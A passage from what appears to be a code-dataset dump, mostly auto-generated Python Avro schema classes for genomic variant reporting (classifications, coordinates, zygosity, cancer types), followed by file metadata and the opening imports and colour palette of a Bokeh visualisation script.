["null", {"type": "array", "items": {"type": "record", "name": "NumberOfCopies", "fields": [{"name":
"numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type": ["null",
"int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}}], "doc": ""}, {"name":
"alleleOrigins", "type": ["null", {"type": "array", "items": {"type": "enum", "name":
"AlleleOrigin", "doc": "", "symbols": ["de_novo_variant", "germline_variant", "maternal_variant",
"paternal_variant", "pedigree_specific_variant", "population_specific_variant",
"somatic_variant"]}}], "doc": ""}, {"name": "supportingReadTypes", "type": ["null", {"type":
"array", "items": {"type": "enum", "name": "SupportingReadType", "symbols": ["spanning", "flanking",
"inrepeat"]}}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"alleleOrigins",
"depthAlternate",
"depthReference",
"numberOfCopies",
"participantId",
"phaseGenotype",
"sampleId",
"sampleVariantAlleleFrequency",
"supportingReadTypes",
"zygosity",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'numberOfCopies': NumberOfCopies,
'phaseGenotype': PhaseGenotype,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'numberOfCopies': NumberOfCopies,
'phaseGenotype': PhaseGenotype,
}
return embeddedTypes[fieldName]
__slots__ = [
'alleleOrigins', 'depthAlternate', 'depthReference',
'numberOfCopies', 'participantId', 'phaseGenotype',
'sampleId', 'sampleVariantAlleleFrequency',
'supportingReadTypes', 'zygosity'
]
def __init__(self, **kwargs):
self.alleleOrigins = kwargs.get(
'alleleOrigins', None)
self.depthAlternate = kwargs.get(
'depthAlternate', None)
self.depthReference = kwargs.get(
'depthReference', None)
self.numberOfCopies = kwargs.get(
'numberOfCopies', None)
self.participantId = kwargs.get(
'participantId', None)
self.phaseGenotype = kwargs.get(
'phaseGenotype', None)
self.sampleId = kwargs.get(
'sampleId', None)
self.sampleVariantAlleleFrequency = kwargs.get(
'sampleVariantAlleleFrequency', None)
self.supportingReadTypes = kwargs.get(
'supportingReadTypes', None)
self.zygosity = kwargs.get(
'zygosity', None)
class VariantClassification(ProtocolElement):
"""
The variant classification according to different properties.
"""
_schemaSource = """
{"type": "record", "name": "VariantClassification", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null", {"type": "enum", "name":
"ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic",
"uncertain_significance"]}], "doc": ""}, {"name": "drugResponseClassification", "type": ["null",
{"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity",
"reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance",
"reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity",
"adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose",
"reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy",
"altered_efficacy"]}], "doc": ""}, {"name": "traitAssociation", "type": ["null", {"type": "enum",
"name": "TraitAssociation", "symbols": ["established_risk_allele", "likely_risk_allele",
"uncertain_risk_allele", "protective"]}], "doc": ""}, {"name": "tumorigenesisClassification",
"type": ["null", {"type": "enum", "name": "TumorigenesisClassification", "symbols": ["driver",
"passenger", "modifier"]}], "doc": ""}, {"name": "functionalEffect", "type": ["null", {"type":
"enum", "name": "VariantFunctionalEffect", "symbols": ["dominant_negative_variant",
"gain_of_function_variant", "lethal_variant", "loss_of_function_variant", "loss_of_heterozygosity",
"null_variant"]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"clinicalSignificance",
"drugResponseClassification",
"functionalEffect",
"traitAssociation",
"tumorigenesisClassification",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'clinicalSignificance', 'drugResponseClassification',
'functionalEffect', 'traitAssociation',
'tumorigenesisClassification'
]
def __init__(self, **kwargs):
self.clinicalSignificance = kwargs.get(
'clinicalSignificance', None)
self.drugResponseClassification = kwargs.get(
'drugResponseClassification', None)
self.functionalEffect = kwargs.get(
'functionalEffect', None)
self.traitAssociation = kwargs.get(
'traitAssociation', None)
self.tumorigenesisClassification = kwargs.get(
'tumorigenesisClassification', None)
class VariantConsequence(ProtocolElement):
"""
A variant consequence as defined by the Sequence Ontology (SO)
(e.g.: id = SO:0001816 ; name = non synonymous) NOTE: this
record is equivalent to OpenCB's `ConsequenceType`, but we want to
avoid naming collisions
"""
_schemaSource = """
{"type": "record", "name": "VariantConsequence", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null",
"string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"id",
"name",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'id', 'name'
]
def __init__(self, **kwargs):
self.id = kwargs.get(
'id', None)
self.name = kwargs.get(
'name', None)
class VariantCoordinates(ProtocolElement):
"""
The variant coordinates representing uniquely a small variant.
No multi-allelic variant supported, alternate only represents one
alternate allele.
"""
_schemaSource = """
{"type": "record", "name": "VariantCoordinates", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type":
"int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type":
"string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "",
"symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"alternate",
"assembly",
"chromosome",
"position",
"reference",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'alternate', 'assembly', 'chromosome', 'position', 'reference'
]
def __init__(self, **kwargs):
self.alternate = kwargs.get(
'alternate', None)
self.assembly = kwargs.get(
'assembly', None)
self.chromosome = kwargs.get(
'chromosome', None)
self.position = kwargs.get(
'position', None)
self.reference = kwargs.get(
'reference', None)
class VariantFunctionalEffect(object):
"""
No documentation
"""
dominant_negative_variant = "dominant_negative_variant"
gain_of_function_variant = "gain_of_function_variant"
lethal_variant = "lethal_variant"
loss_of_function_variant = "loss_of_function_variant"
loss_of_heterozygosity = "loss_of_heterozygosity"
null_variant = "null_variant"
def __hash__(self):
return str(self).__hash__()
class VariantGroupLevelQuestions(ProtocolElement):
"""
The variant group level questions
"""
_schemaSource = """
{"type": "record", "name": "VariantGroupLevelQuestions", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "variantGroup", "type": "int", "doc": ""}, {"name":
"variantLevelQuestions", "type": {"type": "array", "items": {"type": "record", "name":
"VariantLevelQuestions", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type":
"record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type":
"string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type":
"string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly",
"type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc":
""}]}, "doc": ""}, {"name": "confirmationDecision", "type": {"type": "enum", "name":
"ConfirmationDecision", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "confirmationOutcome",
"type": {"type": "enum", "name": "ConfirmationOutcome", "symbols": ["yes", "no", "na"]}, "doc": ""},
{"name": "reportingQuestion", "type": {"type": "enum", "name": "ReportingQuestion", "symbols":
["yes", "no", "na"]}, "doc": ""}, {"name": "acmgClassification", "type": {"type": "enum", "name":
"ACMGClassification", "symbols": ["pathogenic_variant", "likely_pathogenic_variant",
"variant_of_unknown_clinical_significance", "likely_benign_variant", "benign_variant",
"not_assessed"]}, "doc": ""}, {"name": "publications", "type": "string", "doc": ""}]}}, "doc": ""},
{"name": "actionability", "type": {"type": "enum", "name": "Actionability", "symbols": ["yes", "no",
"not_yet", "na"]}, "doc": ""}, {"name": "clinicalUtility", "type": {"type": "array", "items":
{"type": "enum", "name": "ClinicalUtility", "symbols": ["none", "change_in_medication",
"surgical_option", "additional_surveillance_for_proband_or_relatives", "clinical_trial_eligibility",
"informs_reproductive_choice", "unknown", "other"]}}, "doc": ""}, {"name": "phenotypesSolved",
"type": {"type": "enum", "name": "PhenotypesSolved", "symbols": ["yes", "no", "partially",
"unknown"]}, "doc": ""}, {"name": "phenotypesExplained", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"actionability",
"clinicalUtility",
"phenotypesExplained",
"phenotypesSolved",
"variantGroup",
"variantLevelQuestions",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantLevelQuestions': VariantLevelQuestions,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantLevelQuestions': VariantLevelQuestions,
}
return embeddedTypes[fieldName]
__slots__ = [
'actionability', 'clinicalUtility', 'phenotypesExplained',
'phenotypesSolved', 'variantGroup', 'variantLevelQuestions'
]
def __init__(self, **kwargs):
self.actionability = kwargs.get(
'actionability', None)
self.clinicalUtility = kwargs.get(
'clinicalUtility', None)
self.phenotypesExplained = kwargs.get(
'phenotypesExplained', None)
self.phenotypesSolved = kwargs.get(
'phenotypesSolved', None)
self.variantGroup = kwargs.get(
'variantGroup', None)
self.variantLevelQuestions = kwargs.get(
'variantLevelQuestions', None)
class VariantIdentifiers(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "VariantIdentifiers", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""}, {"name": "cosmicIds", "type":
["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "clinVarIds", "type": ["null",
{"type": "array", "items": "string"}], "doc": ""}, {"name": "otherIds", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type":
"string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"clinVarIds",
"cosmicIds",
"dbSnpId",
"otherIds",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'otherIds': Identifier,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'otherIds': Identifier,
}
return embeddedTypes[fieldName]
__slots__ = [
'clinVarIds', 'cosmicIds', 'dbSnpId', 'otherIds'
]
def __init__(self, **kwargs):
self.clinVarIds = kwargs.get(
'clinVarIds', None)
self.cosmicIds = kwargs.get(
'cosmicIds', None)
self.dbSnpId = kwargs.get(
'dbSnpId', None)
self.otherIds = kwargs.get(
'otherIds', None)
class VariantInterpretationLog(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "VariantInterpretationLog", "namespace": "org.gel.models.report.avro",
"fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates",
"doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position",
"type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate",
"type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly",
"doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}}, {"name": "user", "type": {"type":
"record", "name": "User", "fields": [{"name": "username", "type": "string"}, {"name": "role",
"type": "string"}, {"name": "email", "type": "string"}, {"name": "groups", "type": {"type": "array",
"items": "string"}}]}}, {"name": "timestamp", "type": "string"}, {"name": "familyId", "type":
"string"}, {"name": "caseId", "type": "string"}, {"name": "variantValidation", "type": ["null",
{"type": "record", "name": "VariantValidation", "fields": [{"name": "validationTechnology", "type":
"string"}, {"name": "validationResult", "type": {"type": "enum", "name": "ValidationResult",
"symbols": ["NotPerformed", "Confirmed", "NotConfirmed"]}}]}]}, {"name": "comments", "type":
["null", {"type": "array", "items": "string"}]}, {"name": "variantClassification", "type": {"type":
"record", "name": "GuidelineBasedVariantClassification", "doc": "", "fields": [{"name":
"acmgVariantClassification", "type": ["null", {"type": "record", "name":
"AcmgVariantClassification", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type":
"array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name":
"category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols":
["population_data", "computational_and_predictive_data", "functional_data", "segregation_data",
"de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type",
"type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening",
"pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name":
"AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong",
"very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description",
"type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": {"type":
"enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic",
"pathogenic", "uncertain_significance"]}}, {"name": "assessment", "type": ["null", "string"]}]}]},
{"name": "ampVariantClassification", "type": ["null", {"type": "record", "name":
"AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type": {"type": "array",
"items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name": "type", "type":
{"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type", "therapies",
"variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}}, {"name":
"VariantValidation", "type": ["null", "VariantValidation"]}, {"name": "Artifact", "type": ["null",
"boolean"]}, {"name": "decisionSupportSystemFilters", "type": ["null", {"type": "map", "values":
"string"}]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"Artifact",
"VariantValidation",
"caseId",
"comments",
"decisionSupportSystemFilters",
"familyId",
"timestamp",
"user",
"variantClassification",
"variantCoordinates",
"variantValidation",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'VariantValidation': VariantValidation,
'user': User,
'variantClassification': GuidelineBasedVariantClassification,
'variantCoordinates': VariantCoordinates,
'variantValidation': VariantValidation,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'VariantValidation': VariantValidation,
'user': User,
'variantClassification': GuidelineBasedVariantClassification,
'variantCoordinates': VariantCoordinates,
'variantValidation': VariantValidation,
}
return embeddedTypes[fieldName]
__slots__ = [
'Artifact', 'VariantValidation', 'caseId', 'comments',
'decisionSupportSystemFilters', 'familyId', 'timestamp',
'user', 'variantClassification', 'variantCoordinates',
'variantValidation'
]
def __init__(self, **kwargs):
self.Artifact = kwargs.get(
'Artifact', None)
self.VariantValidation = kwargs.get(
'VariantValidation', None)
self.caseId = kwargs.get(
'caseId', None)
self.comments = kwargs.get(
'comments', None)
self.decisionSupportSystemFilters = kwargs.get(
'decisionSupportSystemFilters', None)
self.familyId = kwargs.get(
'familyId', None)
self.timestamp = kwargs.get(
'timestamp', None)
self.user = kwargs.get(
'user', User())
self.variantClassification = kwargs.get(
'variantClassification', GuidelineBasedVariantClassification())
self.variantCoordinates = kwargs.get(
'variantCoordinates', VariantCoordinates())
self.variantValidation = kwargs.get(
'variantValidation', None)
class VariantLevelQuestions(ProtocolElement):
"""
The variant level questions
"""
_schemaSource = """
{"type": "record", "name": "VariantLevelQuestions", "namespace": "org.gel.models.report.avro",
"doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name":
"VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""},
{"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""},
{"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum",
"name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name":
"confirmationDecision", "type": {"type": "enum", "name": "ConfirmationDecision", "symbols": ["yes",
"no", "na"]}, "doc": ""}, {"name": "confirmationOutcome", "type": {"type": "enum", "name":
"ConfirmationOutcome", "symbols": ["yes", "no", "na"]}, "doc": ""}, {"name": "reportingQuestion",
"type": {"type": "enum", "name": "ReportingQuestion", "symbols": ["yes", "no", "na"]}, "doc": ""},
{"name": "acmgClassification", "type": {"type": "enum", "name": "ACMGClassification", "symbols":
["pathogenic_variant", "likely_pathogenic_variant", "variant_of_unknown_clinical_significance",
"likely_benign_variant", "benign_variant", "not_assessed"]}, "doc": ""}, {"name": "publications",
"type": "string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"acmgClassification",
"confirmationDecision",
"confirmationOutcome",
"publications",
"reportingQuestion",
"variantCoordinates",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'variantCoordinates': VariantCoordinates,
}
return embeddedTypes[fieldName]
__slots__ = [
'acmgClassification', 'confirmationDecision',
'confirmationOutcome', 'publications', 'reportingQuestion',
'variantCoordinates'
]
def __init__(self, **kwargs):
self.acmgClassification = kwargs.get(
'acmgClassification', None)
self.confirmationDecision = kwargs.get(
'confirmationDecision', None)
self.confirmationOutcome = kwargs.get(
'confirmationOutcome', None)
self.publications = kwargs.get(
'publications', None)
self.reportingQuestion = kwargs.get(
'reportingQuestion', None)
self.variantCoordinates = kwargs.get(
'variantCoordinates', VariantCoordinates())
class VariantValidation(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "VariantValidation", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "validationTechnology", "type": "string"}, {"name": "validationResult", "type": {"type":
"enum", "name": "ValidationResult", "symbols": ["NotPerformed", "Confirmed", "NotConfirmed"]}}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"validationResult",
"validationTechnology",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'validationResult', 'validationTechnology'
]
def __init__(self, **kwargs):
self.validationResult = kwargs.get(
'validationResult', None)
self.validationTechnology = kwargs.get(
'validationTechnology', None)
class VersionControl(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "VersionControl", "namespace": "org.gel.models.participant.avro",
"fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'GitVersionControl'
]
def __init__(self, **kwargs):
self.GitVersionControl = kwargs.get(
'GitVersionControl', '1.1.0')
class Zygosity(object):
"""
It is a representation of the zygosity * `reference_homozygous`:
0/0, 0|0 * `heterozygous`: 0/1, 1/0, 1|0, 0|1 *
`alternate_homozygous`: 1/1, 1|1 * `missing`: ./., .|. *
`half_missing_reference`: ./0, 0/., 0|., .|0 *
`half_missing_alternate`: ./1, 1/., 1|., .|1 *
`alternate_hemizigous`: 1 * `reference_hemizigous`: 0 * `unk`:
Anything unexpected
"""
reference_homozygous = "reference_homozygous"
heterozygous = "heterozygous"
alternate_homozygous = "alternate_homozygous"
missing = "missing"
half_missing_reference = "half_missing_reference"
half_missing_alternate = "half_missing_alternate"
alternate_hemizigous = "alternate_hemizigous"
reference_hemizigous = "reference_hemizigous"
unk = "unk"
na = "na"
def __hash__(self):
return str(self).__hash__()
class diseaseType(object):
"""
No documentation
"""
ADULT_GLIOMA = "ADULT_GLIOMA"
BLADDER = "BLADDER"
BREAST = "BREAST"
CARCINOMA_OF_UNKNOWN_PRIMARY = "CARCINOMA_OF_UNKNOWN_PRIMARY"
CHILDHOOD = "CHILDHOOD"
COLORECTAL = "COLORECTAL"
ENDOCRINE = "ENDOCRINE"
ENDOMETRIAL_CARCINOMA = "ENDOMETRIAL_CARCINOMA"
HAEMONC = "HAEMONC"
HEPATOPANCREATOBILIARY = "HEPATOPANCREATOBILIARY"
LUNG = "LUNG"
MALIGNANT_MELANOMA = "MALIGNANT_MELANOMA"
NASOPHARYNGEAL = "NASOPHARYNGEAL"
ORAL_OROPHARYNGEAL = "ORAL_OROPHARYNGEAL"
OVARIAN = "OVARIAN"
PROSTATE = "PROSTATE"
RENAL = "RENAL"
SARCOMA = "SARCOMA"
SINONASAL = "SINONASAL"
TESTICULAR_GERM_CELL_TUMOURS = "TESTICULAR_GERM_CELL_TUMOURS"
UPPER_GASTROINTESTINAL = "UPPER_GASTROINTESTINAL"
OTHER = "OTHER"
NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE = "NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE"
CLASSICAL_HODGKINS = "CLASSICAL_HODGKINS"
NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS = "NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS"
T_CELL_LYMPHOMA = "T_CELL_LYMPHOMA"
def __hash__(self):
return str(self).__hash__()
| 52.093587 | 105 | 0.592775 | 43,827 | 498,744 | 6.635453 | 0.035024 | 0.046625 | 0.038623 | 0.025195 | 0.860501 | 0.844855 | 0.82683 | 0.803419 | 0.774765 | 0.766495 | 0 | 0.00188 | 0.156361 | 498,744 | 9,573 | 106 | 52.099029 | 0.689279 | 0.040969 | 0 | 0.681297 | 1 | 0.356035 | 0.760523 | 0.143841 | 0 | 0 | 0 | 0 | 0 | 1 | 0.044016 | false | 0.003279 | 0.000631 | 0.010342 | 0.21188 | 0.004162 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
0b697cd52faf7447c2473043a3631fcbf7796a96 | 148,110 | py | Python | alldata_visualizer_alex.py | michellejlin/tprk | 04758e40c7dd9060d4d613c52b650e250297cb7a | [
"MIT"
] | 1 | 2020-08-26T22:27:17.000Z | 2020-08-26T22:27:17.000Z | alldata_visualizer_alex.py | michellejlin/tprk | 04758e40c7dd9060d4d613c52b650e250297cb7a | [
"MIT"
] | null | null | null | alldata_visualizer_alex.py | michellejlin/tprk | 04758e40c7dd9060d4d613c52b650e250297cb7a | [
"MIT"
] | 3 | 2019-11-01T00:46:06.000Z | 2020-08-26T22:27:23.000Z | import numpy as np
import pandas as pd
import argparse
import sys
from bokeh import events
from bokeh.io import save, export_svgs, export_png
from bokeh.resources import CDN
from bokeh.embed import components, file_html
from bokeh.palettes import brewer
from bokeh.plotting import figure, show, output_file
from bokeh.models import ColumnDataSource, LabelSet, ColorBar, BasicTicker, PrintfTickFormatter,HoverTool, LinearColorMapper, Slider, CustomJS, Label, WheelZoomTool, ResetTool, Button, TextInput
from bokeh.models.widgets import Panel, Paragraph, Div
from bokeh.layouts import gridplot, column, layout, widgetbox, row
from bokeh.transform import transform
from math import pi
import subprocess
import os
color_palette=[
'#5e4fa2', '#3288bd', '#66c2a5', '#abdda4', '#e6f598', '#ffffbf', '#fee08b', '#fdae61', '#f46d43', '#d53e4f', '#9e0142','#003366', '#dec9ab', '#d25757', '#f7d708','#1c29b5', '#b0c997', '#005555', '#f9c3d3', '#0f4c81','#edc06a', '#bd5915', '#b097c9', '#c2002c', '#808080', '#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3','#1b9e77', '#d95f02', '#7570b3', '#e7298a', '#66a61e', '#e6ab02', '#a6761d', '#666666','#8dd3c7', '#ffffb3', '#bebada', '#fb8072', '#80b1d3', '#fdb462', '#b3de69', '#fccde5','#d9d9d9','#bc80bd', '#ccebc5', '#ffed6f', '#bc9797', '#a0db8e', '#d69ce1', '#caffcd', '#ffcaf8', '#cafff7', '#f1b4b2', '#030449',
'#feff97', '#fd81eb', '#8fb8ff', '#bdffa3', '#ffb5b5', '#0f4c81', '#d7d8ee','#73c7de','#aaaacc','#758eb7', '#f2b6ae', '#f0a890', '#a860a8', '#604890', '#f07878', '#443133', '#ffdecc', '#65bfc1','#ffad19', '#ff9e7d', '#dda97b','#a1b1cc','#d6a562','#c9a48f','#c7906d','#f9733e','#ffc104', '#624a4c', '#c1b8c9', "#FFFF00", "#1CE6FF", "#FF34FF", "#FF4A46", "#008941", "#006FA6", "#A30059","#FFDBE5", "#7A4900", "#0000A6", "#63FFAC", "#B79762", "#004D43", "#8FB0FF", "#997D87","#5A0007", "#809693", "#FEFFE6", "#1B4400", "#4FC601", "#3B5DFF", "#4A3B53", "#FF2F80","#61615A", "#BA0900", "#6B7900", "#00C2A0", "#FFAA92", "#FF90C9", "#B903AA", "#D16100","#DDEFFF", "#000035", "#7B4F4B", "#A1C299", "#300018", "#0AA6D8", "#013349", "#00846F","#372101", "#FFB500", "#C2FFED", "#A079BF", "#CC0744", "#C0B9B2", "#C2FF99", "#001E09","#00489C", "#6F0062", "#0CBD66", "#EEC3FF", "#456D75", "#B77B68", "#7A87A1", "#788D66","#885578", "#FAD09F", "#FF8A9A", "#D157A0", "#BEC459", "#456648", "#0086ED", "#886F4C",
"#34362D", "#B4A8BD", "#00A6AA", "#452C2C", "#636375", "#A3C8C9", "#FF913F", "#938A81","#575329", "#00FECF", "#B05B6F", "#8CD0FF", "#3B9700", "#04F757", "#C8A1A1", "#1E6E00","#7900D7", "#A77500", "#6367A9", "#A05837", "#6B002C", "#772600", "#D790FF", "#9B9700","#549E79", "#FFF69F", "#201625", "#72418F", "#BC23FF", "#99ADC0", "#3A2465", "#922329","#5B4534", "#FDE8DC", "#404E55", "#0089A3", "#CB7E98", "#A4E804", "#324E72", "#6A3A4C","#83AB58", "#001C1E", "#D1F7CE", "#004B28", "#C8D0F6", "#A3A489", "#806C66", "#222800","#BF5650", "#E83000", "#66796D", "#DA007C", "#FF1A59", "#8ADBB4", "#1E0200", "#5B4E51",
"#C895C5", "#320033", "#FF6832", "#66E1D3", "#CFCDAC", "#D0AC94", "#7ED379", "#012C58","#7A7BFF", "#D68E01", "#353339", "#78AFA1", "#FEB2C6", "#75797C", "#837393", "#943A4D","#B5F4FF", "#D2DCD5", "#9556BD", "#6A714A", "#001325", "#02525F", "#0AA3F7", "#E98176","#DBD5DD", "#5EBCD1", "#3D4F44", "#7E6405", "#02684E", "#962B75", "#8D8546", "#9695C5","#E773CE", "#D86A78", "#3E89BE", "#CA834E", "#518A87", "#5B113C", "#55813B", "#E704C4","#00005F", "#A97399", "#4B8160", "#59738A", "#FF5DA7", "#F7C9BF", "#643127", "#513A01","#6B94AA", "#51A058", "#A45B02", "#1D1702", "#E20027", "#E7AB63", "#4C6001", "#9C6966","#64547B", "#97979E", "#006A66", "#391406", "#F4D749", "#0045D2", "#006C31", "#DDB6D0",
"#7C6571", "#9FB2A4", "#00D891", "#15A08A", "#BC65E9", "#FFFFFE", "#C6DC99", "#203B3C","#671190", "#6B3A64", "#F5E1FF", "#FFA0F2", "#CCAA35", "#374527", "#8BB400", "#797868","#C6005A", "#3B000A", "#C86240", "#29607C", "#402334", "#7D5A44", "#CCB87C", "#B88183","#AA5199", "#B5D6C3", "#A38469", "#9F94F0", "#A74571", "#B894A6", "#71BB8C", "#00B433","#789EC9", "#6D80BA", "#953F00", "#5EFF03", "#E4FFFC", "#1BE177", "#BCB1E5", "#76912F","#003109", "#0060CD", "#D20096", "#895563", "#29201D", "#5B3213", "#A76F42", "#89412E","#1A3A2A", "#494B5A", "#A88C85", "#F4ABAA", "#A3F3AB", "#00C6C8", "#EA8B66", "#958A9F","#BDC9D2", "#9FA064", "#BE4700", "#658188", "#83A485", "#453C23", "#47675D", "#3A3F00",
